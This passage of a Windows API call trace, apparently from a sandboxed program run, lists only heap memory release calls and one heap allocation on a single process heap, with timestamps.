| out: hHeap=0x420000) returned 1 [0193.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.065] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0193.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.086] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.087] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.087] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.087] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0193.098] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.336] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0193.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.341] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0193.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.554] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.558] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.559] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.559] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.762] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.764] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.764] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.764] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.764] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.764] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.766] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0193.767] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.768] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.769] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.769] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0193.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.783] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.783] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.783] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.790] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.791] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.791] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.792] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.793] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.858] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0193.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0193.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.863] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.863] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0194.055] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.058] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.085] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.088] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.091] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.202] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.204] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.205] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.214] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.300] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.322] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.328] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.613] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.619] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.625] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.631] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.636] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.642] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.645] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.881] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.016] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0195.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0195.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0195.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0195.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.211] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.236] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0195.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0195.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0195.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0195.620] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4485068 [0195.949] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0195.949] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0195.949] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0196.447] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.447] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.447] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0196.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0196.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0196.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, 